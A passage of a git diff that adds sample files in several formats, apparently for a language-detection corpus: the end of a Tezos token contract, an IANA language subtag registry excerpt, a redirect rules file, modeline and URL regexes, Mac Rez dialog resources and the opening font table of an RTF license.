+  if(Tezos.source != s.owner){
+    failwith ("UnauthorizedOperation"): storage;
+  } else {
+    { ...s, paused: !s.paused }
+  }
+}
+
+let main = ((p, s): (action, storage)): (list(operation), storage) => {
+  if (s.paused && Tezos.source != s.owner) {
+    failwith ("ContractIsPaused"): (list (operation), storage);
+  } else {
+    switch(p){
+    | Transfer (n) => ([]: list(operation), transfer(n[0], n[1], n[2] , s))
+    | Approve (n) => ([]: list(operation), approve(n[0], n[1], s))
+    | RemoveApproval (n) => ([]: list(operation), removeApproval(n, s))
+    | GetAllowance (p) => (getAllowance(p, s), s)
+    | GetBalance (p) => (getBalance(p, s), s)
+    | GetTotalSupply (n) => (getTotalSupply(n, s), s)
+    | Mint (n) => ([]: list(operation), mint(n, s))
+    | Burn (n) => ([]: list(operation), burn(n, s))
+    | SetBuyPrice (n) => ([]: list (operation), setBuyPrice(n, s))
+    | SupplyBuyPool (n) => ([]: list (operation), supplyBuyPool(n, s))
+    | Buy (n) => ([]: list (operation), buy(n, s))
+    | AddExtra (n) => ([]: list (operation), addExtra(n[0], n[1], s))
+    | Pause => ([]: list (operation), pause(s))
+  };
+  }
+}
\ No newline at end of file
diff --git a/samples/Record Jar/filenames/language-subtag-registry.txt b/samples/Record Jar/filenames/language-subtag-registry.txt
new file mode 100644
index 0000000000..b7f41812a0
--- /dev/null
+++ b/samples/Record Jar/filenames/language-subtag-registry.txt	
@@ -0,0 +1,446 @@
+File-Date: 2020-12-18
+%%
+Type: language
+Subtag: aa
+Description: Afar
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ab
+Description: Abkhazian
+Added: 2005-10-16
+Suppress-Script: Cyrl
+%%
+Type: language
+Subtag: ae
+Description: Avestan
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ak
+Description: Akan
+Added: 2005-10-16
+Scope: macrolanguage
+%%
+Type: language
+Subtag: am
+Description: Amharic
+Added: 2005-10-16
+Suppress-Script: Ethi
+%%
+Type: language
+Subtag: an
+Description: Aragonese
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ar
+Description: Arabic
+Added: 2005-10-16
+Suppress-Script: Arab
+Scope: macrolanguage
+%%
+Type: language
+Subtag: as
+Description: Assamese
+Added: 2005-10-16
+Suppress-Script: Beng
+%%
+Type: language
+Subtag: av
+Description: Avaric
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ay
+Description: Aymara
+Added: 2005-10-16
+Suppress-Script: Latn
+Scope: macrolanguage
+%%
+Type: language
+Subtag: az
+Description: Azerbaijani
+Added: 2005-10-16
+Scope: macrolanguage
+%%
+Type: language
+Subtag: ba
+Description: Bashkir
+Added: 2005-10-16
+%%
+Type: language
+Subtag: be
+Description: Belarusian
+Added: 2005-10-16
+Suppress-Script: Cyrl
+%%
+Type: language
+Subtag: bg
+Description: Bulgarian
+Added: 2005-10-16
+Suppress-Script: Cyrl
+%%
+Type: language
+Subtag: bh
+Description: Bihari languages
+Added: 2005-10-16
+Scope: collection
+%%
+Type: language
+Subtag: bn
+Description: Bengali
+Description: Bangla
+Added: 2005-10-16
+Suppress-Script: Beng
+%%
+Type: language
+Subtag: bo
+Description: Tibetan
+Added: 2005-10-16
+%%
+Type: language
+Subtag: br
+Description: Breton
+Added: 2005-10-16
+%%
+Type: language
+Subtag: bs
+Description: Bosnian
+Added: 2005-10-16
+Suppress-Script: Latn
+Macrolanguage: sh
+%%
+Type: language
+Subtag: ca
+Description: Catalan
+Description: Valencian
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: ce
+Description: Chechen
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ch
+Description: Chamorro
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: co
+Description: Corsican
+Added: 2005-10-16
+%%
+Type: language
+Subtag: cr
+Description: Cree
+Added: 2005-10-16
+Scope: macrolanguage
+%%
+Type: language
+Subtag: cs
+Description: Czech
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: dv
+Description: Dhivehi
+Description: Divehi
+Description: Maldivian
+Added: 2005-10-16
+Suppress-Script: Thaa
+%%
+Type: language
+Subtag: dz
+Description: Dzongkha
+Added: 2005-10-16
+Suppress-Script: Tibt
+%%
+Type: language
+Subtag: ee
+Description: Ewe
+Added: 2005-10-16
+%%
+Type: language
+Subtag: el
+Description: Modern Greek (1453-)
+Added: 2005-10-16
+Suppress-Script: Grek
+%%
+Type: language
+Subtag: en
+Description: English
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: eo
+Description: Esperanto
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: es
+Description: Spanish
+Description: Castilian
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: et
+Description: Estonian
+Added: 2005-10-16
+Suppress-Script: Latn
+Scope: macrolanguage
+%%
+Type: language
+Subtag: eu
+Description: Basque
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: fa
+Description: Persian
+Added: 2005-10-16
+Suppress-Script: Arab
+Scope: macrolanguage
+%%
+Type: language
+Subtag: ff
+Description: Fulah
+Added: 2005-10-16
+Scope: macrolanguage
+%%
+Type: language
+Subtag: fi
+Description: Finnish
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: fj
+Description: Fijian
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: fo
+Description: Faroese
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: fr
+Description: French
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: ga
+Description: Irish
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: gd
+Description: Scottish Gaelic
+Description: Gaelic
+Added: 2005-10-16
+%%
+Type: language
+Subtag: gl
+Description: Galician
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: gn
+Description: Guarani
+Added: 2005-10-16
+Suppress-Script: Latn
+Scope: macrolanguage
+%%
+Type: language
+Subtag: gu
+Description: Gujarati
+Added: 2005-10-16
+Suppress-Script: Gujr
+%%
+Type: language
+Subtag: gv
+Description: Manx
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: ha
+Description: Hausa
+Added: 2005-10-16
+%%
+Type: language
+Subtag: he
+Description: Hebrew
+Added: 2005-10-16
+Suppress-Script: Hebr
+%%
+Type: language
+Subtag: hr
+Description: Croatian
+Added: 2005-10-16
+Suppress-Script: Latn
+Macrolanguage: sh
+%%
+Type: language
+Subtag: ht
+Description: Haitian
+Description: Haitian Creole
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: hu
+Description: Hungarian
+Added: 2005-10-16
+Suppress-Script: Latn
+%%
+Type: language
+Subtag: hy
+Description: Armenian
+Added: 2005-10-16
+Suppress-Script: Armn
+Comments: see also hyw
+%%
+Type: language
+Subtag: hz
+Description: Herero
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ia
+Description: Interlingua (International Auxiliary Language
+  Association)
+Added: 2005-10-16
+%%
+Type: language
+Subtag: id
+Description: Indonesian
+Added: 2005-10-16
+Suppress-Script: Latn
+Macrolanguage: ms
+%%
+Type: language
+Subtag: ie
+Description: Interlingue
+Description: Occidental
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ig
+Description: Igbo
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ii
+Description: Sichuan Yi
+Description: Nuosu
+Added: 2005-10-16
+%%
+Type: language
+Subtag: ik
+Description: Inupiaq
+Added: 2005-10-16
+Scope: macrolanguage
+%%
+Type: language
+Subtag: in
+Description: Indonesian
+Added: 2005-10-16
+Deprecated: 1989-01-01
+Preferred-Value: id
+Suppress-Script: Latn
+Macrolanguage: ms
+%%
+Type: language
+Subtag: io
+Description: Ido
+Added: 2005-10-16
+%%
+Type: variant
+Subtag: vecdruka
+Description: Latvian orthography used before 1920s ("vecā druka")
+Added: 2020-09-26
+Prefix: lv
+Comments: The subtag represents the old orthography of the Latvian
+  language used during c. 1600s–1920s.
+%%
+Type: variant
+Subtag: vivaraup
+Description: Vivaro-Alpine
+Added: 2018-04-22
+Prefix: oc
+Comments: Occitan variant spoken in northeastern Occitania
+%%
+Type: variant
+Subtag: wadegile
+Description: Wade-Giles romanization
+Added: 2008-10-03
+Prefix: zh-Latn
+%%
+Type: variant
+Subtag: xsistemo
+Description: Standard X-system orthographic fallback for spelling
+  Esperanto
+Added: 2017-03-14
+Prefix: eo
+%%
+Type: grandfathered
+Tag: i-hak
+Description: Hakka
+Added: 1999-01-31
+Deprecated: 2000-01-10
+Preferred-Value: hak
+%%
+Type: grandfathered
+Tag: i-klingon
+Description: Klingon
+Added: 1999-05-26
+Deprecated: 2004-02-24
+Preferred-Value: tlh
+%%
+Type: grandfathered
+Tag: i-mingo
+Description: Mingo
+Added: 1997-09-19
+%%
+Type: grandfathered
+Tag: i-navajo
+Description: Navajo
+Added: 1997-09-19
+Deprecated: 2000-02-18
+Preferred-Value: nv
+%%
+Type: grandfathered
+Tag: no-bok
+Description: Norwegian Bokmal
+Added: 1995-08-23
+Deprecated: 2000-02-18
+Preferred-Value: nb
+%%
+Type: grandfathered
+Tag: no-nyn
+Description: Norwegian Nynorsk
+Added: 1995-08-23
+Deprecated: 2000-02-18
+Preferred-Value: nn
+%%
+Type: redundant
+Tag: sgn-ZA
+Description: South African Sign Language
+Added: 2001-11-11
+Deprecated: 2009-07-29
+Preferred-Value: sfs
diff --git a/samples/Redirect Rules/filenames/_redirects b/samples/Redirect Rules/filenames/_redirects
new file mode 100644
index 0000000000..861f4d77c5
--- /dev/null
+++ b/samples/Redirect Rules/filenames/_redirects	
@@ -0,0 +1,11 @@
+# Shadow all main pages to index by default
+/main/*	/index	200
+
+# Search queries
+/search q=:query	/search/:query	200!
+
+# 404 page
+/*	/404
+
+# Split US English
+/en/*	/en-us/:splat	302!	Language=en-US
diff --git a/samples/Regular Expression/modeline-emacs.regexp b/samples/Regular Expression/modeline-emacs.regexp
new file mode 100644
index 0000000000..b9c33b82d5
--- /dev/null
+++ b/samples/Regular Expression/modeline-emacs.regexp	
@@ -0,0 +1,19 @@
+-\*-
+(?:
+	\s*
+	(?= [^:;\s]+ \s* -\*-)
+	|
+	(?:
+		.*?[;\s]
+		|
+		(?<=-\*-)
+	)
+	mode\s*:\s*
+)
+([^:;\s]+)
+
+(?=
+	[\s;] | (?<![-*]) -\*-
+)
+.*?
+-\*-
diff --git a/samples/Regular Expression/modeline-vim.regexp b/samples/Regular Expression/modeline-vim.regexp
new file mode 100644
index 0000000000..d732f352a8
--- /dev/null
+++ b/samples/Regular Expression/modeline-vim.regexp	
@@ -0,0 +1,27 @@
+(?:
+	(?:\s|^)
+	vi
+	(?:m[<=>]?\d+|m)?
+	|
+	[\t\x20]
+	ex
+)
+(?=
+	: (?=\s* set? \s [^\n:]+ :) |
+	: (?!\s* set? \s)
+)
+
+(?:
+	(?:\s|\s*:\s*)
+	\w*
+	(?:
+		\s*=
+		(?:[^\n\\\s]|\\.)*
+	)?
+)*
+
+[\s:]
+(?:filetype|ft|syntax)
+\s*=
+(MODE_NAME_HERE)
+(?=\s|:|$)
diff --git a/samples/Regular Expression/ordinal.regex b/samples/Regular Expression/ordinal.regex
new file mode 100644
index 0000000000..9017a8e082
--- /dev/null
+++ b/samples/Regular Expression/ordinal.regex	
@@ -0,0 +1 @@
+\b(\d*1[1-3]th|\d*0th|(?:(?!11st)\d)*1st|\d*2nd|(?:(?!13rd)\d*)3rd|\d*[4-9]th)\b
diff --git a/samples/Regular Expression/url.regex b/samples/Regular Expression/url.regex
new file mode 100644
index 0000000000..298419d78c
--- /dev/null
+++ b/samples/Regular Expression/url.regex	
@@ -0,0 +1 @@
+/^([^\/#\?]*:?\/\/)?(\/?(?:[^\/#\?]+\/)*)?([^\/#\?]+)?(?:\/(?=$))?(\?[^#]*)?(#.*)?$/
diff --git a/samples/Rez/Rezilla_DITL.r b/samples/Rez/Rezilla_DITL.r
new file mode 100644
index 0000000000..e47089da73
--- /dev/null
+++ b/samples/Rez/Rezilla_DITL.r
@@ -0,0 +1,119 @@
+// ===========================================================================
+// Rezilla_DITL.r
+//                       Created: 2004-02-25 10:57:56
+//             Last modification: 2004-02-25 10:58:34
+// Author: Bernard Desgraupes
+// e-mail: <bdesgraupes@users.sourceforge.net>
+// www: <http://rezilla.sourceforge.net/>
+// (c) Copyright: Bernard Desgraupes 2003-2004
+// All rights reserved.
+// ===========================================================================
+
+
+//#include "Dialogs.r"
+#include	<Carbon/Carbon.r>
+
+resource 'DITL' (10000, "Nav Services Open", purgeable) {
+	{	/* array DITLarray: 2 elements */
+		/* [1] */
+		{8, 16, 32, 248},
+		CheckBox {
+			enabled,
+			"VCS aware"
+		},
+		/* [2] */
+		{8, 248, 32, 392},
+		CheckBox {
+			enabled,
+			"Read-only"
+		}
+	}
+};
+
+resource 'DITL' (10001, "Nav Create NewMap", purgeable) {
+	{	/* array DITLarray: 3 elements */
+		/* [1] */
+		{3, 110, 19, 250},
+		RadioButton {
+			enabled,
+			"in resource fork"
+		},
+		/* [2] */
+		{3, 255, 19, 395},
+		RadioButton {
+			enabled,
+			"in data fork"
+		},
+		/* [3] */
+		{3, 8, 19, 108},
+		StaticText {
+			disabled,
+			"New map"
+		}
+	}
+};
+
+resource 'DITL' (10002, "Nav Open Map", purgeable) {
+	{	/* array DITLarray: 5 elements */
+		/* [1] */
+		{3, 58, 19, 138},
+		RadioButton {
+			enabled,
+			"any fork"
+		},
+		/* [2] */
+		{3, 158, 19, 278},
+		RadioButton {
+			enabled,
+			"resource fork"
+		},
+		/* [3] */
+		{3, 288, 19, 388},
+		RadioButton {
+			enabled,
+			"data fork"
+		},
+		/* [4] */
+		{23, 58, 39, 158},
+		CheckBox {
+			enabled,
+			"Read Only"
+		},
+		/* [5] */
+		{3, 8, 19, 58},
+		StaticText {
+			disabled,
+			"From:"
+		}
+	}
+};
+
+resource 'DITL' (10003, "Nav Save Map", purgeable) {
+	{	/* array DITLarray: 3 elements */
+		/* [1] */
+		{3, 58, 19, 158},
+		RadioButton {
+			enabled,
+			"same fork"
+		},
+		/* [2] */
+		{3, 168, 19, 288},
+		RadioButton {
+			enabled,
+			"resource fork"
+		},
+		/* [3] */
+		{3, 298, 19, 398},
+		RadioButton {
+			enabled,
+			"data fork"
+		},
+		/* [4] */
+		{3, 8, 19, 58},
+		StaticText {
+			disabled,
+			"To:"
+		}
+	}
+};
+
diff --git a/samples/Rez/dialog.r b/samples/Rez/dialog.r
new file mode 100644
index 0000000000..bb9860d752
--- /dev/null
+++ b/samples/Rez/dialog.r
@@ -0,0 +1,88 @@
+/*
+	Copyright 2015 Wolfgang Thaller.
+
+	This file is part of Retro68.
+
+	Retro68 is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	Retro68 is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with Retro68.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include "Dialogs.r"
+
+resource 'DLOG' (128) {
+	{ 50, 100, 240, 420 },
+	dBoxProc,
+	visible,
+	noGoAway,
+	0,
+	128,
+	"",
+	centerMainScreen
+};
+
+resource 'DITL' (128) {
+	{
+		{ 190-10-20, 320-10-80, 190-10, 320-10 },
+		Button { enabled, "Quit" };
+
+		{ 190-10-20-5, 320-10-80-5, 190-10+5, 320-10+5 },
+		UserItem { enabled };
+
+		{ 10, 10, 30, 310 },
+		StaticText { enabled, "Static Text Item" };
+
+		{ 40, 10, 56, 310 },
+		EditText { enabled, "Edit Text Item" };
+
+		{ 70, 10, 86, 310 },
+		CheckBox { enabled, "Check Box" };
+
+		{ 90, 10, 106, 310 },
+		RadioButton { enabled, "Radio 1" };
+
+		{ 110, 10, 126, 310 },
+		RadioButton { enabled, "Radio 2" };
+	}
+};
+
+#include "Processes.r"
+
+resource 'SIZE' (-1) {
+	reserved,
+	acceptSuspendResumeEvents,
+	reserved,
+	canBackground,
+	doesActivateOnFGSwitch,
+	backgroundAndForeground,
+	dontGetFrontClicks,
+	ignoreChildDiedEvents,
+	is32BitCompatible,
+#ifdef TARGET_API_MAC_CARBON
+    isHighLevelEventAware,
+#else
+	notHighLevelEventAware,
+#endif
+	onlyLocalHLEvents,
+	notStationeryAware,
+	dontUseTextEditServices,
+	reserved,
+	reserved,
+	reserved,
+#ifdef TARGET_API_MAC_CARBON
+	500 * 1024,	// Carbon apparently needs additional memory.
+	500 * 1024
+#else
+	100 * 1024,
+	100 * 1024
+#endif
+};
diff --git a/samples/Rez/gui_mac.r b/samples/Rez/gui_mac.r
new file mode 100644
index 0000000000..7a1916bd07
--- /dev/null
+++ b/samples/Rez/gui_mac.r
@@ -0,0 +1,33 @@
+/* vi:set ts=8 sts=4 sw=4:
+ *
+ * VIM - Vi IMproved	by Bram Moolenaar
+ *
+ * Do ":help uganda"  in Vim to read a list of people who contributed.
+ * Do ":help credits" in Vim to see a list of people who contributed.
+ */
+
+#ifdef environ_os_mac /* or 1 for Carbon, 0 for non-Carbon */
+# include <Carbon/Carbon.r>
+#else
+# include <SysTypes.r>
+# include <Types.r>
+#endif
+#include "version.h"
+
+/* Used as application version */
+resource 'vers' (1) {
+	VIM_VERSION_MAJOR, VIM_VERSION_BUILD_BCD, VIM_VERSION_RELEASE, VIM_VERSION_PATCHLEVEL,
+	verUS,
+	VIM_VERSION_MEDIUM,
+	VIM_VERSION_LONG_DATE $$date " " $$time ")"
+};
+
+/* Used as application group version */
+resource 'vers' (2) {
+	VIM_VERSION_MAJOR, VIM_VERSION_BUILD_BCD, VIM_VERSION_RELEASE, VIM_VERSION_PATCHLEVEL,
+	verUS,
+	VIM_VERSION_MEDIUM,
+	VIM_VERSION_LONG
+};
+
+/* TODO: Small About box with compile time */
diff --git a/samples/Rich Text Format/DesktopTemplateLicense.rtf b/samples/Rich Text Format/DesktopTemplateLicense.rtf
new file mode 100644
index 0000000000..f150b9d84d
--- /dev/null
+++ b/samples/Rich Text Format/DesktopTemplateLicense.rtf	
@@ -0,0 +1,658 @@
+{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman{\*\falt Times};}
+{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 00000000000000000000}Courier New{\*\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\*\panose 05050102010706020507}Symbol{\*\falt Bookshelf Symbol 3};}
+{\f10\fbidi \fnil\fcharset2\fprq2{\*\panose 00000000000000000000}Wingdings{\*\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 00000000000000000000}MS Mincho{\*\falt ?l?r ??\'81\'66c};}
+{\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 00000000000000000000}SimSun{\*\falt ???\'a1\'ec??};}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math{\*\falt Calisto MT};}
+{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri{\*\falt Times New Roman};}{\f43\fbidi \fswiss\fcharset0\fprq2{\*\panose 00000000000000000000}Tahoma{\*\falt ?l?r ???};}
+{\f44\fbidi \fswiss\fcharset0\fprq2{\*\panose 00000000000000000000}Trebuchet MS{\*\falt Arial};}{\f47\fbidi \fswiss\fcharset0\fprq2{\*\panose 00000000000000000000}Segoe UI{\*\falt Segoe UI};}
+{\f48\fbidi \fmodern\fcharset128\fprq1{\*\panose 00000000000000000000}@MS Mincho{\*\falt @MS Gothic};}{\f49\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun{\*\falt @Arial Unicode MS};}
+{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman{\*\falt Times};}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman{\*\falt Times};}
+{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 00000000000000000000}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman{\*\falt Times};}
+{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman{\*\falt Times};}{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman{\*\falt Times};}
+{\fhiminor\f31506\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri{\*\falt Times New Roman};}{\fbiminor\f31507\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman{\*\falt Times};}
+{\f431\fbidi \froman\fcharset238\fprq2 Times New Roman CE{\*\falt Times};}{\f432\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr{\*\falt Times};}{\f434\fbidi \froman\fcharset161\fprq2 Times New Roman Greek{\*\falt Times};}
+{\f435\fbidi \froman\fcharset162\fprq2 Times New Roman Tur{\*\falt Times};}{\f436\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew){\*\falt Times};}{\f437\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic){\*\falt Times};}
+{\f438\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic{\*\falt Times};}{\f439\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese){\*\falt Times};}{\f451\fbidi \fmodern\fcharset238\fprq1 Courier New CE{\*\falt Arial};}
+{\f452\fbidi \fmodern\fcharset204\fprq1 Courier New Cyr{\*\falt Arial};}{\f454\fbidi \fmodern\fcharset161\fprq1 Courier New Greek{\*\falt Arial};}{\f455\fbidi \fmodern\fcharset162\fprq1 Courier New Tur{\*\falt Arial};}
+{\f456\fbidi \fmodern\fcharset177\fprq1 Courier New (Hebrew){\*\falt Arial};}{\f457\fbidi \fmodern\fcharset178\fprq1 Courier New (Arabic){\*\falt Arial};}{\f458\fbidi \fmodern\fcharset186\fprq1 Courier New Baltic{\*\falt Arial};}
+{\f459\fbidi \fmodern\fcharset163\fprq1 Courier New (Vietnamese){\*\falt Arial};}{\f543\fbidi \fmodern\fcharset0\fprq1 MS Mincho Western{\*\falt ?l?r ??\'81\'66c};}{\f541\fbidi \fmodern\fcharset238\fprq1 MS Mincho CE{\*\falt ?l?r ??\'81\'66c};}
+{\f542\fbidi \fmodern\fcharset204\fprq1 MS Mincho Cyr{\*\falt ?l?r ??\'81\'66c};}{\f544\fbidi \fmodern\fcharset161\fprq1 MS Mincho Greek{\*\falt ?l?r ??\'81\'66c};}{\f545\fbidi \fmodern\fcharset162\fprq1 MS Mincho Tur{\*\falt ?l?r ??\'81\'66c};}
+{\f548\fbidi \fmodern\fcharset186\fprq1 MS Mincho Baltic{\*\falt ?l?r ??\'81\'66c};}{\f563\fbidi \fnil\fcharset0\fprq2 SimSun Western{\*\falt ???\'a1\'ec??};}{\f771\fbidi \froman\fcharset238\fprq2 Cambria Math CE{\*\falt Calisto MT};}
+{\f772\fbidi \froman\fcharset204\fprq2 Cambria Math Cyr{\*\falt Calisto MT};}{\f774\fbidi \froman\fcharset161\fprq2 Cambria Math Greek{\*\falt Calisto MT};}{\f775\fbidi \froman\fcharset162\fprq2 Cambria Math Tur{\*\falt Calisto MT};}
+{\f778\fbidi \froman\fcharset186\fprq2 Cambria Math Baltic{\*\falt Calisto MT};}{\f779\fbidi \froman\fcharset163\fprq2 Cambria Math (Vietnamese){\*\falt Calisto MT};}{\f801\fbidi \fswiss\fcharset238\fprq2 Calibri CE{\*\falt Times New Roman};}
+{\f802\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr{\*\falt Times New Roman};}{\f804\fbidi \fswiss\fcharset161\fprq2 Calibri Greek{\*\falt Times New Roman};}{\f805\fbidi \fswiss\fcharset162\fprq2 Calibri Tur{\*\falt Times New Roman};}
+{\f806\fbidi \fswiss\fcharset177\fprq2 Calibri (Hebrew){\*\falt Times New Roman};}{\f807\fbidi \fswiss\fcharset178\fprq2 Calibri (Arabic){\*\falt Times New Roman};}{\f808\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic{\*\falt Times New Roman};}
+{\f809\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese){\*\falt Times New Roman};}{\f861\fbidi \fswiss\fcharset238\fprq2 Tahoma CE{\*\falt ?l?r ???};}{\f862\fbidi \fswiss\fcharset204\fprq2 Tahoma Cyr{\*\falt ?l?r ???};}
+{\f864\fbidi \fswiss\fcharset161\fprq2 Tahoma Greek{\*\falt ?l?r ???};}{\f865\fbidi \fswiss\fcharset162\fprq2 Tahoma Tur{\*\falt ?l?r ???};}{\f866\fbidi \fswiss\fcharset177\fprq2 Tahoma (Hebrew){\*\falt ?l?r ???};}
+{\f867\fbidi \fswiss\fcharset178\fprq2 Tahoma (Arabic){\*\falt ?l?r ???};}{\f868\fbidi \fswiss\fcharset186\fprq2 Tahoma Baltic{\*\falt ?l?r ???};}{\f869\fbidi \fswiss\fcharset163\fprq2 Tahoma (Vietnamese){\*\falt ?l?r ???};}
+{\f870\fbidi \fswiss\fcharset222\fprq2 Tahoma (Thai){\*\falt ?l?r ???};}{\f871\fbidi \fswiss\fcharset238\fprq2 Trebuchet MS CE{\*\falt Arial};}{\f872\fbidi \fswiss\fcharset204\fprq2 Trebuchet MS Cyr{\*\falt Arial};}
+{\f874\fbidi \fswiss\fcharset161\fprq2 Trebuchet MS Greek{\*\falt Arial};}{\f875\fbidi \fswiss\fcharset162\fprq2 Trebuchet MS Tur{\*\falt Arial};}{\f878\fbidi \fswiss\fcharset186\fprq2 Trebuchet MS Baltic{\*\falt Arial};}
+{\f901\fbidi \fswiss\fcharset238\fprq2 Segoe UI CE{\*\falt Segoe UI};}{\f902\fbidi \fswiss\fcharset204\fprq2 Segoe UI Cyr{\*\falt Segoe UI};}{\f904\fbidi \fswiss\fcharset161\fprq2 Segoe UI Greek{\*\falt Segoe UI};}
+{\f905\fbidi \fswiss\fcharset162\fprq2 Segoe UI Tur{\*\falt Segoe UI};}{\f906\fbidi \fswiss\fcharset177\fprq2 Segoe UI (Hebrew){\*\falt Segoe UI};}{\f907\fbidi \fswiss\fcharset178\fprq2 Segoe UI (Arabic){\*\falt Segoe UI};}
+{\f908\fbidi \fswiss\fcharset186\fprq2 Segoe UI Baltic{\*\falt Segoe UI};}{\f909\fbidi \fswiss\fcharset163\fprq2 Segoe UI (Vietnamese){\*\falt Segoe UI};}{\f913\fbidi \fmodern\fcharset0\fprq1 @MS Mincho Western{\*\falt @MS Gothic};}
+{\f911\fbidi \fmodern\fcharset238\fprq1 @MS Mincho CE{\*\falt @MS Gothic};}{\f912\fbidi \fmodern\fcharset204\fprq1 @MS Mincho Cyr{\*\falt @MS Gothic};}{\f914\fbidi \fmodern\fcharset161\fprq1 @MS Mincho Greek{\*\falt @MS Gothic};}
+{\f915\fbidi \fmodern\fcharset162\fprq1 @MS Mincho Tur{\*\falt @MS Gothic};}{\f918\fbidi \fmodern\fcharset186\fprq1 @MS Mincho Baltic{\*\falt @MS Gothic};}{\f923\fbidi \fnil\fcharset0\fprq2 @SimSun Western{\*\falt @Arial Unicode MS};}
+{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE{\*\falt Times};}{\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr{\*\falt Times};}
+{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek{\*\falt Times};}{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur{\*\falt Times};}
+{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew){\*\falt Times};}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic){\*\falt Times};}
+{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic{\*\falt Times};}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese){\*\falt Times};}
+{\fdbmajor\f31518\fbidi \froman\fcharset238\fprq2 Times New Roman CE{\*\falt Times};}{\fdbmajor\f31519\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr{\*\falt Times};}
+{\fdbmajor\f31521\fbidi \froman\fcharset161\fprq2 Times New Roman Greek{\*\falt Times};}{\fdbmajor\f31522\fbidi \froman\fcharset162\fprq2 Times New Roman Tur{\*\falt Times};}
+{\fdbmajor\f31523\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew){\*\falt Times};}{\fdbmajor\f31524\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic){\*\falt Times};}
+{\fdbmajor\f31525\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic{\*\falt Times};}{\fdbmajor\f31526\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese){\*\falt Times};}{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}
+{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;}
